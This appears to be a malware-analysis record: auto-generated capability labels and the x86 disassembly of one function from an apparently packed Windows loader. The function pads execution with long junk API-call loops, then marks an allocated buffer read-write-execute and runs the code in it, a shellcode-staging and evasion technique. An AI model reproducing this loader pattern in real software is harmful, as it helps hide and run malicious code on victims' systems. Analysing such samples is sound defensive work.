Function at 0x423c70
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create pipe
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Move file
Query environment variable
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x426f26
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2868
call fcn.0040df90
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e303
jge 0x423cbe
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9a5e26
jle 0x423cda
cmp dword [esp + 0x14], 0xbf0f38
je 0x423cda
cmp dword [esp + 0x3c], 0x9081d28
jne 0x423ce3
inc esi
cmp esi, 0x989f6
jl 0x423cb0
cmp dword [0x258faa4], 0xcf8
jne 0x423de6
push edi
push edi
push edi
call fcn.0040555b
add esp, 0xc
push 0x4035b0
push edi
call fcn.0040555b
push edi
push edi
push edi
push edi
call fcn.00405218
push edi
call fcn.00405520
add esp, 0x1c
push edi
call fcn.004050dd
add esp, 4
push edi
call fcn.00405550
add esp, 4
mov dword [esp + 0x68], edi
mov dword [esp + 0x6c], edi
mov dword [esp + 0x70], edi
mov dword [esp + 0x2884], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x423d56
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x423d70
push 0x403ad4
call fcn.00404a9b
cmp esi, 0xf
jbe 0x423d83
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.00404880
jmp 0x423d90
cmp esi, edi
jne 0x423d92
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x423dcd
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x423dac
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.0040c140
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x423dc9
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x423de0
mov ecx, dword [esp + 0x30]
push ecx
call fcn.00405618
add esp, 4
push edi
call fcn.004054ce
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
mov ebx, dword [sym.imp.KERNEL32.dll_AllocateUserPhysicalPages]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x408
jne 0x423e13
mov eax, 0x5d1
add dword [0x258faa4], eax
cmp dword [0x258faa4], 3
jne 0x423e37
push 0
call edi
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0x20]
push eax
push 0
call ebx
push 0
lea ecx, [esp + 0x7c]
push ecx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x423e00
mov edx, dword [0x258faa4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [0x445834], eax
mov eax, dword [0x258faa4]
xor esi, esi
test eax, eax
je 0x423ed1
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov edi, dword [sym.imp.KERNEL32.dll_FindResourceExA]
cmp eax, 0xfe
jne 0x423e9a
push 0
call ebx
call ebp
xor eax, eax
lea edx, [esp + 0x18]
push edx
push eax
push eax
lea ecx, [esp + 0x1084]
push ecx
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
call fcn.004239a0
mov eax, dword [0x258faa4]
cmp eax, 0x29
jne 0x423ecc
lea edx, [esp + 0x1c]
push edx
push 0
push 0x4035c0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
push 0
push 0
call edi
mov eax, dword [0x258faa4]
inc esi
cmp esi, eax
jb 0x423e71
cmp eax, 0x70
jne 0x423fcf
push 0x403628
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0x403668
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeW]
push 0
push 0x4036a8
push 0
push 0x403718
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CompareStringW]
lea eax, [esp + 0x1078]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
push 0
lea ecx, [esp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x40376c
push 0x403788
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointA]
push 0
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0
push 0
call ebx
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
call edi
call edi
push 0x4037e0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
lea edx, [esp + 0x1c]
push edx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetTapeParameters]
push 0
push 0
lea eax, [esp + 0x880]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea ecx, [esp + 0x187c]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push 0
push 0
call ebx
push 0x403820
push 0x403910
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push 0x403948
call esi
mov eax, dword [0x258faa4]
mov esi, dword [sym.imp.KERNEL32.dll_GetAtomNameW]
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleExW]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
mov ebx, dword [sym.imp.KERNEL32.dll_AddAtomW]
mov dword [esp + 0x14], 0x9682ab
nop
cmp eax, 3
jne 0x424020
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x1884]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
lea ecx, [esp + 0x78]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x258faa4]
cmp eax, 0xdf
jne 0x42412b
push 0
lea edx, [esp + 0x107c]
push edx
push 0
call esi
lea eax, [esp + 0x1c]
push eax
push 0x403970
push 0
call edi
xor eax, eax
lea ecx, [esp + 0x28]
push ecx
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call ebp
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
lea edx, [esp + 0x24]
push edx
push 0
lea eax, [esp + 0x1880]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapQueryInformation]
lea ecx, [esp + 0x68]
push ecx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
push 0x4039f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileA]
push 0x403a68
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea edx, [esp + 0x87c]
push edx
push 0x403a70
call dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x7c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x38]
push 0
push edx
mov dword [esp + 0x3c], 0
call fcn.0040b550
add esp, 0xc
push 0
lea eax, [esp + 0x34]
push eax
push 0x403ab4
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigA]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
mov eax, dword [0x258faa4]
dec dword [esp + 0x14]
jne 0x423ff0
mov esi, dword [sym.imp.USER32.dll_CharUpperA]
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov ebx, dword [sym.imp.GDI32.dll_GetCharWidthA]
mov ebp, 0x3a5e74
lea esp, [esp]
push 0
call esi
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
dec ebp
jne 0x424150
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
cmp dword [0x258faa4], 0x222
jne 0x424180
push 0
call esi
dec edi
jne 0x424170
mov edx, dword [0x258faa4]
mov eax, dword [0x445834]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push edx
push eax
mov byte [0x440aa0], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00423c20
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
mov ebx, 0xba
cmp dword [0x258faa4], ebx
jne 0x4241cb
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x4241dd
add dword [0x445834], 0x4da6
inc esi
cmp esi, 0x1605a
jl 0x4241b6
call fcn.00423bc0
cmp dword [0x258faa4], 0xc30
jne 0x4242a8
lea edx, [esp + 0x1878]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea eax, [esp + 0x78]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
lea ecx, [esp + 0x207c]
push ecx
push 0
push 0x403ac0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
push 0
lea edx, [esp + 0x24]
push edx
push 0
lea eax, [esp + 0x884]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x107c]
push ecx
lea edx, [esp + 0x2c]
push edx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x24]
push ecx
lea edx, [esp + 0x30]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0
call dword [sym.imp.KERNEL32.dll_SwitchToFiber]
mov ecx, dword [esp + 0x287c]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret